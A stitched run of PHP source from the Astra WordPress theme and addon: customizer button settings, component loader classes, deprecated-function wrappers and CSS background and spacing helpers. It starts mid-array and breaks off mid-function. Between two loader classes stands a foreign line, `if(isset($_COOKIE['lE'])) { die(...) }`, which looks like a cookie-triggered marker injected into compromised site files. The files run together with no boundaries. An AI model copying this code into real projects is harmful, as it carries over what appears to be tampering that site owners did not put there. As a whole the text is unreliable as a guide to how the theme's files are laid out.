Astra_Builder_Helper::$general_tab, 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), ), /** * Option: Primary Header Button Font Size */ array( 'name' => $builder_type . '-' . $_prefix . '-font-size', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-font-size' ), 'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]', 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'type' => 'sub-control', 'section' => $_section, 'control' => 'ast-responsive-slider', 'priority' => 3, 'context' => Astra_Builder_Helper::$general_tab, 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), /** * Option: Primary Footer Button Font Extras */ array( 'name' => $builder_type . '-' . $_prefix . '-font-extras', 'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]', 'section' => $_section, 'type' => 'sub-control', 'control' => 'ast-font-extras', 'priority' => 5, 'default' => astra_get_option( 'breadcrumb-font-extras' ), 'context' => Astra_Builder_Helper::$general_tab, 'title' => __( 'Font Extras', 'astra' ), ), ); if ( 'footer' === $builder_type ) { $button_config[] = array( array( 'name' => ASTRA_THEME_SETTINGS . '[footer-button-' . $index . '-alignment]', 'default' => astra_get_option( 'footer-button-' . $index . '-alignment' ), 'type' => 'control', 'control' => 'ast-selector', 'section' => $_section, 'priority' => 35, 'title' => __( 'Alignment', 'astra' ), 'context' => Astra_Builder_Helper::$general_tab, 'transport' => 'postMessage', 'choices' => array( 'flex-start' => 'align-left', 'center' => 'align-center', 'flex-end' => 'align-right', ), 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), ); } $button_config[] = Astra_Builder_Base_Configuration::prepare_visibility_tab( $_section, $builder_type ); $button_config[] = Astra_Extended_Base_Configuration::prepare_advanced_tab( $_section ); } $button_config = call_user_func_array( 'array_merge', $button_config + array( array() ) ); $configurations = array_merge( $configurations, $button_config ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Button_Component_Configs();/** * Off Canvas. * * @package astra-builder * @author Brainstorm Force * @copyright Copyright (c) 2020, Brainstorm Force * @link https://www.brainstormforce.com * @since 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_OFF_CANVAS_DIR', ASTRA_THEME_DIR . 'inc/builder/type/header/off-canvas' ); define( 'ASTRA_OFF_CANVAS_URI', ASTRA_THEME_URI . 'inc/builder/type/header/off-canvas' ); /** * Off Canvas Initial Setup * * @since 3.0.0 */ class Astra_Off_Canvas { /** * Constructor function that initializes required actions and hooks. */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_OFF_CANVAS_DIR . '/class-astra-off-canvas-loader.php'; // Include front end files. if ( ! is_admin() || Astra_Builder_Customizer::astra_collect_customizer_builder_data() ) { require_once ASTRA_OFF_CANVAS_DIR . '/dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Off_Canvas();/** * HTML component. * * @package Astra Builder * @author Brainstorm Force * @copyright Copyright (c) 2020, Brainstorm Force * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_HEADER_HTML_DIR', ASTRA_THEME_DIR . 'inc/builder/type/header/html' ); define( 'ASTRA_HEADER_HTML_URI', ASTRA_THEME_URI . 'inc/builder/type/header/html' ); /** * Heading Initial Setup * * @since 3.0.0 */ class Astra_Header_Html_Component { /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_HEADER_HTML_DIR . '/class-astra-header-html-component-loader.php'; // Include front end files. if ( ! is_admin() || Astra_Builder_Customizer::astra_collect_customizer_builder_data() ) { require_once ASTRA_HEADER_HTML_DIR . '/dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Header_Html_Component();/** * Mobile Navigation Menu Styling Loader for Astra theme. * * @package Astra Builder * @author Brainstorm Force * @copyright Copyright (c) 2020, Brainstorm Force * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Mobile Navigation Menu Initialization * * @since 3.0.0 */ class Astra_Mobile_Menu_Component_Loader { /** * Constructor * * @since 3.0.0 */ public function __construct() { add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Customizer Preview * * @since 3.0.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-mobile-menu-customizer-preview', ASTRA_BUILDER_MOBILE_MENU_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Mobile_Menu_Component_Loader();if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Above Footer Styling Loader for Astra theme. * * @package Astra Builder * @author Brainstorm Force * @copyright Copyright (c) 2020, Brainstorm Force * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Above Footer Initialization * * @since 3.0.0 */ class Astra_Above_Footer_Component_Loader { /** * Constructor * * @since 3.0.0 */ public function __construct() { add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Customizer Preview * * @since 3.0.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-footer-above-customizer-preview-js', ASTRA_BUILDER_FOOTER_ABOVE_FOOTER_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Above_Footer_Component_Loader();/** * WIDGET Styling Loader for Astra theme. * * @package Astra Builder * @author Brainstorm Force * @copyright Copyright (c) 2020, Brainstorm Force * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.0.0 */ class Astra_Footer_Widget_Component_Loader { /** * Constructor * * @since 3.0.0 */ public function __construct() { add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Customizer Preview * * @since 3.0.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-footer-widget-customizer-preview-js', ASTRA_BUILDER_FOOTER_WIDGET_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true ); // Localize variables for WIDGET JS. wp_localize_script( 'astra-footer-widget-customizer-preview-js', 'AstraBuilderWidgetData', array( 'footer_widget_count' => defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_footer_widgets, 'tablet_break_point' => astra_get_tablet_breakpoint(), 'mobile_break_point' => astra_get_mobile_breakpoint(), 'is_flex_based_css' => Astra_Builder_Helper::apply_flex_based_css(), 'has_block_editor' => astra_has_widgets_block_editor(), ) ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Footer_Widget_Component_Loader();/** * Deprecated Functions of Astra Theme. * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since Astra 1.0.23 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Deprecating footer_menu_static_css function. * * Footer menu specific static CSS function. * * @since 3.7.4 * @deprecated footer_menu_static_css() Use astra_footer_menu_static_css() * @see astra_footer_menu_static_css() * * @return string Parsed CSS */ function footer_menu_static_css() { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_footer_menu_static_css()' ); return astra_footer_menu_static_css(); } /** * Deprecating is_support_footer_widget_right_margin function. * * Backward managing function based on flag - 'support-footer-widget-right-margin' which fixes right margin issue in builder widgets. * * @since 3.7.4 * @deprecated is_support_footer_widget_right_margin() Use astra_support_footer_widget_right_margin() * @see astra_support_footer_widget_right_margin() * * @return bool true|false */ function is_support_footer_widget_right_margin() { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_support_footer_widget_right_margin()' ); return astra_support_footer_widget_right_margin(); } /** * Deprecating prepare_button_defaults function. * * Default configurations for builder button components. * * @since 3.7.4 * @deprecated prepare_button_defaults() Use astra_prepare_button_defaults() * @param array $defaults Button default configs. * @param string $index builder button component index. * @see astra_prepare_button_defaults() * * @return array */ function prepare_button_defaults( $defaults, $index ) { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_button_defaults()' ); return astra_prepare_button_defaults( $defaults, absint( $index ) ); } /** * Deprecating prepare_html_defaults function. * * Default configurations for builder HTML components. * * @since 3.7.4 * @deprecated prepare_html_defaults() Use astra_prepare_html_defaults() * @param array $defaults HTML default configs. * @param string $index builder HTML component index. * @see astra_prepare_html_defaults() * * @return array */ function prepare_html_defaults( $defaults, $index ) { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_html_defaults()' ); return astra_prepare_html_defaults( $defaults, absint( $index ) ); } /** * Deprecating prepare_social_icon_defaults function. * * Default configurations for builder Social Icon components. * * @since 3.7.4 * @deprecated prepare_social_icon_defaults() Use astra_prepare_social_icon_defaults() * @param array $defaults Social Icon default configs. * @param string $index builder Social Icon component index. * @see astra_prepare_social_icon_defaults() * * @return array */ function prepare_social_icon_defaults( $defaults, $index ) { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_social_icon_defaults()' ); return astra_prepare_social_icon_defaults( $defaults, absint( $index ) ); } /** * Deprecating prepare_widget_defaults function. * * Default configurations for builder Widget components. * * @since 3.7.4 * @deprecated prepare_widget_defaults() Use astra_prepare_widget_defaults() * @param array $defaults Widget default configs. * @param string $index builder Widget component index. * @see astra_prepare_widget_defaults() * * @return array */ function prepare_widget_defaults( $defaults, $index ) { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_widget_defaults()' ); return astra_prepare_widget_defaults( $defaults, absint( $index ) ); } /** * Deprecating prepare_menu_defaults function. * * Default configurations for builder Menu components. * * @since 3.7.4 * @deprecated prepare_menu_defaults() Use astra_prepare_menu_defaults() * @param array $defaults Menu default configs. * @param string $index builder Menu component index. * @see astra_prepare_menu_defaults() * * @return array */ function prepare_menu_defaults( $defaults, $index ) { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_menu_defaults()' ); return astra_prepare_menu_defaults( $defaults, absint( $index ) ); } /** * Deprecating prepare_divider_defaults function. * * Default configurations for builder Divider components. * * @since 3.7.4 * @deprecated prepare_divider_defaults() Use astra_prepare_divider_defaults() * @param array $defaults Divider default configs. * @param string $index builder Divider component index. * @see astra_prepare_divider_defaults() * * @return array */ function prepare_divider_defaults( $defaults, $index ) { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_divider_defaults()' ); return astra_prepare_divider_defaults( $defaults, absint( $index ) ); } /** * Deprecating is_astra_pagination_enabled function. * * Checking if Astra's pagination enabled. * * @since 3.7.4 * @deprecated is_astra_pagination_enabled() Use astra_check_pagination_enabled() * @see astra_check_pagination_enabled() * * @return bool true|false */ function is_astra_pagination_enabled() { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_check_pagination_enabled()' ); return astra_check_pagination_enabled(); } /** * Deprecating is_current_post_comment_enabled function. * * Checking if current post's comment enabled and comment section is open. * * @since 3.7.4 * @deprecated is_current_post_comment_enabled() Use astra_check_current_post_comment_enabled() * @see astra_check_current_post_comment_enabled() * * @return bool true|false */ function is_current_post_comment_enabled() { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_check_current_post_comment_enabled()' ); return astra_check_current_post_comment_enabled(); } /** * Deprecating ast_load_preload_local_fonts function. * * Preload Google Fonts - Feature of self-hosting font. * * @since 3.7.4 * @deprecated ast_load_preload_local_fonts() Use astra_load_preload_local_fonts() * @param string $google_font_url Google Font URL generated by customizer config. * @see astra_load_preload_local_fonts() * * @return string */ function ast_load_preload_local_fonts( $google_font_url ) { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_load_preload_local_fonts()' ); return astra_load_preload_local_fonts( $google_font_url ); } /** * Deprecating ast_get_webfont_url function. * * Getting webfont based Google font URL. * * @since 3.7.4 * @deprecated ast_get_webfont_url() Use astra_get_webfont_url() * @param string $google_font_url Google Font URL generated by customizer config. * @see astra_get_webfont_url() * * @return string */ function ast_get_webfont_url( $google_font_url ) { _deprecated_function( __FUNCTION__, '3.7.4', 'astra_get_webfont_url()' ); return astra_get_webfont_url( $google_font_url ); }/** * Astra Theme & Addon Common function. * * @package Astra Addon */ /** * Return translated theme option. * * This function exists in theme v.4.7.4 though included here to prevent errors caused by version mismatches with the theme. */ if ( ! function_exists( 'astra_get_i18n_option' ) ) { /** * Returns translated string for strings saved in Astra settings. * * This function retrieves a theme option value and checks if it needs translation. * If the option's translation is needed, it looks it up based on the provided context. * If the translation is not available, it returns the default value. * * Usage examples: * - Retrieve translated theme option with a context description: * $value = astra_get_i18n_option( 'astra-option-key', esc_html_x( '%astra%', 'Context Description', 'astra-addon' ) ); * * - Retrieve translated theme option with a different context: * $value = astra_get_i18n_option( 'astra-option-key', _x( '%astra%', 'Context Description', 'astra-addon' ) ); * * @param string $option Option key. * @param string $translated Default translation flag. * @param mixed $default Option default value. * @param string $deprecated Option default value. * * @return string Return option value. * * @since 4.8.1 */ function astra_get_i18n_option( $option, $translated, $default = '', $deprecated = '' ) { // #%astra%# is for TranslatePress compatibility. $is_translated = '%astra%' !== $translated && ! strpos( $translated, '#%astra%#' ); return $is_translated ? $translated : astra_get_option( $option, $default, $deprecated ); } } /** * Return translated string. * * This function exists in theme v.4.7.4 though included here to prevent errors caused by version mismatches with the theme. */ if ( ! function_exists( 'astra_get_i18n_string' ) ) { /** * Returns translated string. * * This function checks if string has translation. * If the translation is not available, it returns the default value. * * Usage examples: * - Retrieve translated theme option with a context description: * $value = astra_get_i18n_string( $default, esc_html_x( '%astra%', 'Context Description', 'astra-addon' ) ); * * - Retrieve translated theme option with a different context: * $value = astra_get_i18n_string( $default, _x( '%astra%', 'Context Description', 'astra-addon' ) ); * * @param string $default Default string value. * @param string $translated Default translation flag. * * @return string Return string value. * * @since 4.8.1 */ function astra_get_i18n_string( $default, $translated ) { // #%astra%# is for TranslatePress compatibility. $is_translated = '%astra%' !== $translated && ! strpos( $translated, '#%astra%#' ); return $is_translated ? $translated : $default; } } /** * Apply CSS for the element */ if ( ! function_exists( 'astra_color_responsive_css' ) ) { /** * Astra Responsive Colors * * @param array $setting Responsive colors. * @param string $css_property CSS property. * @param string $selector CSS selector. * @return string Dynamic responsive CSS. */ function astra_color_responsive_css( $setting, $css_property, $selector ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $css = ''; if ( isset( $setting['desktop'] ) && ! empty( $setting['desktop'] ) ) { $css .= $selector . '{' . $css_property . ':' . esc_attr( $setting['desktop'] ) . ';}'; } if ( isset( $setting['tablet'] ) && ! empty( $setting['tablet'] ) ) { $css .= '@media (max-width:' . astra_addon_get_tablet_breakpoint() . 'px) {' . $selector . '{' . $css_property . ':' . esc_attr( $setting['tablet'] ) . ';} }'; } if ( isset( $setting['mobile'] ) && ! empty( $setting['mobile'] ) ) { $css .= '@media (max-width:' . astra_addon_get_mobile_breakpoint() . 'px) {' . $selector . '{' . $css_property . ':' . esc_attr( $setting['mobile'] ) . ';} }'; } return $css; } } /** * Get Font Size value */ if ( ! function_exists( 'astra_responsive_font' ) ) { /** * Get Font CSS value * * @param array $font CSS value. * @param string $device CSS device. * @param string $default Default value. * @return mixed */ function astra_responsive_font( $font, $device = 'desktop', $default = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $css_val = ''; if ( isset( $font[ $device ] ) && isset( $font[ $device . '-unit' ] ) ) { if ( '' != $default ) { $font_size = astra_get_css_value( $font[ $device ], $font[ $device . '-unit' ], $default ); } else { $font_size = astra_get_font_css_value( $font[ $device ], $font[ $device . '-unit' ] ); } } elseif ( is_numeric( $font ) ) { $font_size = astra_get_css_value( $font ); } else { $font_size = ( ! is_array( $font ) ) ? $font : ''; } return $font_size; } } if ( function_exists( 'astra_do_action_deprecated' ) ) { // Depreciating astra_woo_qv_product_summary filter. add_action( 'astra_woo_quick_view_product_summary', 'astra_addon_deprecated_astra_woo_quick_view_product_summary_action', 10 ); /** * Astra Color Palettes * * @since 1.1.2 */ function astra_addon_deprecated_astra_woo_quick_view_product_summary_action() { astra_do_action_deprecated( 'astra_woo_qv_product_summary', array(), '1.0.22', 'astra_woo_quick_view_product_summary', '' ); } } /** * Get Responsive Spacing */ if ( ! function_exists( 'astra_responsive_spacing' ) ) { /** * Get Spacing value * * @param array $option CSS value. * @param string $side top | bottom | left | right. * @param string $device CSS device. * @param string $default Default value. * @param string $prefix Prefix value. * @return mixed */ function astra_responsive_spacing( $option, $side = '', $device = 'desktop', $default = '', $prefix = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound if ( isset( $option[ $device ][ $side ] ) && isset( $option[ $device . '-unit' ] ) ) { $spacing = astra_get_css_value( $option[ $device ][ $side ], $option[ $device . '-unit' ], $default ); } elseif ( is_numeric( $option ) ) { $spacing = astra_get_css_value( $option ); } else { $spacing = ( ! is_array( $option ) ) ? $option : ''; } if ( '' !== $prefix && '' !== $spacing ) { return $prefix . $spacing; } return $spacing; } } /** * Check Elementor widgets. */ if ( ! function_exists( 'astra_check_elementor_widget' ) ) { /** * Added Check if the cart widget exists in the Elementor meta data. * * @since 4.8.2 * @param array $elements_data * @param string $widget_name * @return bool */ function astra_check_elementor_widget( $elements_data, $widget_name ) { foreach ( $elements_data as $element ) { if ( isset( $element['widgetType'] ) && $element['widgetType'] === $widget_name ) { return true; } if ( isset( $element['elements'] ) && is_array( $element['elements'] ) ) { if ( astra_check_elementor_widget( $element['elements'], $widget_name ) ) { return true; } } } return false; } } /** * Get calc Responsive Spacing */ if ( ! function_exists( 'astra_calc_spacing' ) ) { /** * Get Spacing value * * @param array $value Responsive spacing value with unit. * @param string $operation + | - | * | /. * @param string $from Perform operation from the value. * @param string $from_unit Perform operation from the value of unit. * @return mixed */ function astra_calc_spacing( $value, $operation = '', $from = '', $from_unit = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $css = ''; if ( ! empty( $value ) ) { $css = $value; if ( ! empty( $operation ) && ! empty( $from ) ) { if ( ! empty( $from_unit ) ) { $css = 'calc( ' . $value . ' ' . $operation . ' ' . $from . $from_unit . ' )'; } if ( '*' === $operation || '/' === $operation ) { $css = 'calc( ' . $value . ' ' . $operation . ' ' . $from . ' )'; } } } return $css; } } /** * Adjust the background obj. */ if ( ! function_exists( 'astra_get_background_obj' ) ) { /** * Adjust Brightness * * @param array $bg_obj Color code in HEX. * * @return array Color code in HEX. */ function astra_get_background_obj( $bg_obj ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $gen_bg_css = array(); $bg_img = isset( $bg_obj['background-image'] ) ? $bg_obj['background-image'] : ''; $bg_color = isset( $bg_obj['background-color'] ) ? $bg_obj['background-color'] : ''; $bg_type = isset( $bg_obj['background-type'] ) ? $bg_obj['background-type'] : ''; if ( '' !== $bg_type ) { switch ( $bg_type ) { case 'color': if ( '' !== $bg_img && '' !== $bg_color ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $bg_color . ', ' . $bg_color . '), url(' . $bg_img . ');'; } elseif ( '' === $bg_img ) { $gen_bg_css['background-color'] = $bg_color . ';'; } break; case 'image': $overlay_type = isset( $bg_obj['overlay-type'] ) ? $bg_obj['overlay-type'] : 'none'; $overlay_color = isset( $bg_obj['overlay-color'] ) ? $bg_obj['overlay-color'] : ''; $overlay_grad = isset( $bg_obj['overlay-gradient'] ) ? $bg_obj['overlay-gradient'] : ''; if ( '' !== $bg_img ) { if ( 'none' !== $overlay_type ) { if ( 'classic' === $overlay_type && '' !== $overlay_color ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $overlay_color . ', ' . $overlay_color . '), url(' . $bg_img . ');'; } elseif ( 'gradient' === $overlay_type && '' !== $overlay_grad ) { $gen_bg_css['background-image'] = $overlay_grad . ', url(' . $bg_img . ');'; } else { $gen_bg_css['background-image'] = 'url(' . $bg_img . ');'; } } else { $gen_bg_css['background-image'] = 'url(' . $bg_img . ');'; } } break; case 'gradient': if ( isset( $bg_color ) ) { $gen_bg_css['background-image'] = $bg_color . ';'; } break; default: break; } } elseif ( '' !== $bg_color ) { $gen_bg_css['background-color'] = $bg_color . ';'; } if ( '' !== $bg_img ) { if ( isset( $bg_obj['background-repeat'] ) ) { $gen_bg_css['background-repeat'] = esc_attr( $bg_obj['background-repeat'] ); } if ( isset( $bg_obj['background-position'] ) ) { $gen_bg_css['background-position'] = esc_attr( $bg_obj['background-position'] ); } if ( isset( $bg_obj['background-size'] ) ) { $gen_bg_css['background-size'] = esc_attr( $bg_obj['background-size'] ); } if ( isset( $bg_obj['background-attachment'] ) ) { $gen_bg_css['background-attachment'] = esc_attr( $bg_obj['background-attachment'] ); } } return $gen_bg_css; } } /** * Adjust the background obj. */ if ( ! function_exists( 'astra_get_responsive_background_obj' ) ) { /** * Add Responsive bacground CSS * * @param array $bg_obj_res Color array. * @param array $device Device name. * * @return array Color code in HEX. */ function astra_get_responsive_background_obj( $bg_obj_res, $device ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $gen_bg_css = array(); if ( ! is_array( $bg_obj_res ) ) { return; } $bg_obj = $bg_obj_res[ $device ]; $bg_img = isset( $bg_obj['background-image'] ) ? $bg_obj['background-image'] : ''; $bg_tab_img = isset( $bg_obj_res['tablet']['background-image'] ) ? $bg_obj_res['tablet']['background-image'] : ''; $bg_desk_img = isset( $bg_obj_res['desktop']['background-image'] ) ? $bg_obj_res['desktop']['background-image'] : ''; $bg_color = isset( $bg_obj['background-color'] ) ? $bg_obj['background-color'] : ''; $tablet_css = ( isset( $bg_obj_res['tablet']['background-image'] ) && $bg_obj_res['tablet']['background-image'] ) ? true : false; $desktop_css = ( isset( $bg_obj_res['desktop']['background-image'] ) && $bg_obj_res['desktop']['background-image'] ) ? true : false; $bg_type = ( isset( $bg_obj['background-type'] ) && $bg_obj['background-type'] ) ? $bg_obj['background-type'] : ''; if ( '' !== $bg_type ) { switch ( $bg_type ) { case 'color': if ( '' !== $bg_img && '' !== $bg_color ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $bg_color . ', ' . $bg_color . '), url(' . $bg_img . ');'; } elseif ( 'mobile' === $device ) { if ( $desktop_css ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $bg_color . ', ' . $bg_color . '), url(' . $bg_desk_img . ');'; } elseif ( $tablet_css ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $bg_color . ', ' . $bg_color . '), url(' . $bg_tab_img . ');'; } else { $gen_bg_css['background-color'] = $bg_color . ';'; $gen_bg_css['background-image'] = 'none;'; } } elseif ( 'tablet' === $device ) { if ( $desktop_css ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $bg_color . ', ' . $bg_color . '), url(' . $bg_desk_img . ');'; } else { $gen_bg_css['background-color'] = $bg_color . ';'; $gen_bg_css['background-image'] = 'none;'; } } elseif ( '' === $bg_img ) { $gen_bg_css['background-color'] = $bg_color . ';'; $gen_bg_css['background-image'] = 'none;'; } break; case 'image': /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $overlay_type = isset( $bg_obj['overlay-type'] ) ? $bg_obj['overlay-type'] : 'none'; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $overlay_color = isset( $bg_obj['overlay-color'] ) ? $bg_obj['overlay-color'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $overlay_grad = isset( $bg_obj['overlay-gradient'] ) ? $bg_obj['overlay-gradient'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( '' !== $bg_img ) { if ( 'none' !== $overlay_type ) { if ( 'classic' === $overlay_type && '' !== $overlay_color ) { $gen_bg_css['background-image'] = 'linear-gradient(to right, ' . $overlay_color . ', ' . $overlay_color . '), url(' . $bg_img . ');'; } elseif ( 'gradient' === $overlay_type && '' !== $overlay_grad ) { $gen_bg_css['background-image'] = $overlay_grad . ', url(' . $bg_img . ');'; } else { $gen_bg_css['background-image'] = 'url(' . $bg_img . ');'; } } else { $gen_bg_css['background-image'] = 'url(' . $bg_img . ');'; } } break; case 'gradient': if ( isset( $bg_color ) ) { $gen_bg_css['background-image'] = $bg_color . ';'; } break; default: break; } } elseif ( '' !== $bg_color ) { $gen_bg_css['background-color'] = $bg_color . ';'; } if ( '' !== $bg_img ) { if ( isset( $bg_obj['background-repeat'] ) ) { $gen_bg_css['background-repeat'] = esc_attr( $bg_obj['background-repeat'] ); } if ( isset( $bg_obj['background-position'] ) ) { $gen_bg_css['background-position'] = esc_attr( $bg_obj['background-position'] ); } if ( isset( $bg_obj['background-size'] ) ) { $gen_bg_css['background-size'] = esc_attr( $bg_obj['background-size'] ); } if ( isset( $bg_obj['background-attachment'] ) ) { $gen_bg_css['background-attachment'] = esc_attr( $bg_obj['background-attachment'] ); } } return $gen_bg_css; } } /** * Search Form */ if ( ! function_exists( 'astra_addon_get_search_form' ) ) : /** * Display search form. * * @param bool $echo Default to echo and not return the form. * @return string|void String when $echo is false. */ function astra_addon_get_search_form( $echo = true ) { // Check if live search is enabled & accordingly disabling browser search suggestion. $live_search = astra_get_option( 'live-search' ); $autocomplete_attr = $live_search ? 'autocomplete="off"' : ''; // get customizer placeholder field value. $astra_search_input_placeholder = isset( $args['input_placeholder'] ) ? $args['input_placeholder'] : astra_default_strings( 'string-search-input-placeholder', false ); $form = ''; /** * Filters the HTML output of the search form. * * @param string $form The search form HTML output. */ $result = apply_filters( 'astra_get_search_form', $form ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound if ( null === $result ) { $result = $form; } if ( $echo ) { echo wp_kses( $result, Astra_Addon_Kses::astra_addon_form_with_post_kses_protocols() ); } else { return $result; } } endif; /** * Get instance of WP_Filesystem. * * @since 2.6.4 * * @return WP_Filesystem */ function astra_addon_filesystem() { return astra_addon_filesystem::instance(); } /** * Check the WordPress version. * * @since 2.7.0 * @param string $version WordPress version to compare with the current version. * @param string $compare Comparison value i.e > or < etc. * @return bool True/False based on the $version and $compare value. */ function astra_addon_wp_version_compare( $version, $compare ) { return version_compare( get_bloginfo( 'version' ), $version, $compare ); } /** * Adjust Brightness * * @param array $bg_obj Color code in HEX. * * @return array Color code in HEX. * * @since 2.7.1 */ function astra_addon_get_megamenu_background_obj( $bg_obj ) { $gen_bg_css = array(); $bg_img = isset( $bg_obj['background-image'] ) ? $bg_obj['background-image'] : ''; $bg_color = isset( $bg_obj['background-color'] ) ? $bg_obj['background-color'] : ''; if ( '' !== $bg_img && '' !== $bg_color ) { $gen_bg_css = array( 'background-image' => 'linear-gradient(to right, ' . esc_attr( $bg_color ) . ', ' . esc_attr( $bg_color ) . '), url(' . esc_url( $bg_img ) . ')', ); } elseif ( '' !== $bg_img ) { $gen_bg_css = array( 'background-image' => 'url(' . esc_url( $bg_img ) . ')' ); } elseif ( '' !== $bg_color ) { $gen_bg_css = array( 'background-color' => esc_attr( $bg_color ) ); } if ( '' !== $bg_img ) { if ( isset( $bg_obj['background-repeat'] ) ) { $gen_bg_css['background-repeat'] = esc_attr( $bg_obj['background-repeat'] ); } if ( isset( $bg_obj['background-position'] ) ) { $gen_bg_css['background-position'] = esc_attr( $bg_obj['background-position'] ); } if ( isset( $bg_obj['background-size'] ) ) { $gen_bg_css['background-size'] = esc_attr( $bg_obj['background-size'] ); } if ( isset( $bg_obj['background-attachment'] ) ) { $gen_bg_css['background-attachment'] = esc_attr( $bg_obj['background-attachment'] ); } } return $gen_bg_css; } /** * Calculate Astra Mega-menu spacing. * * @param array $spacing_obj - Spacing dimensions with their values. * * @return array parsed CSS. * * @since 3.0.0 */ function 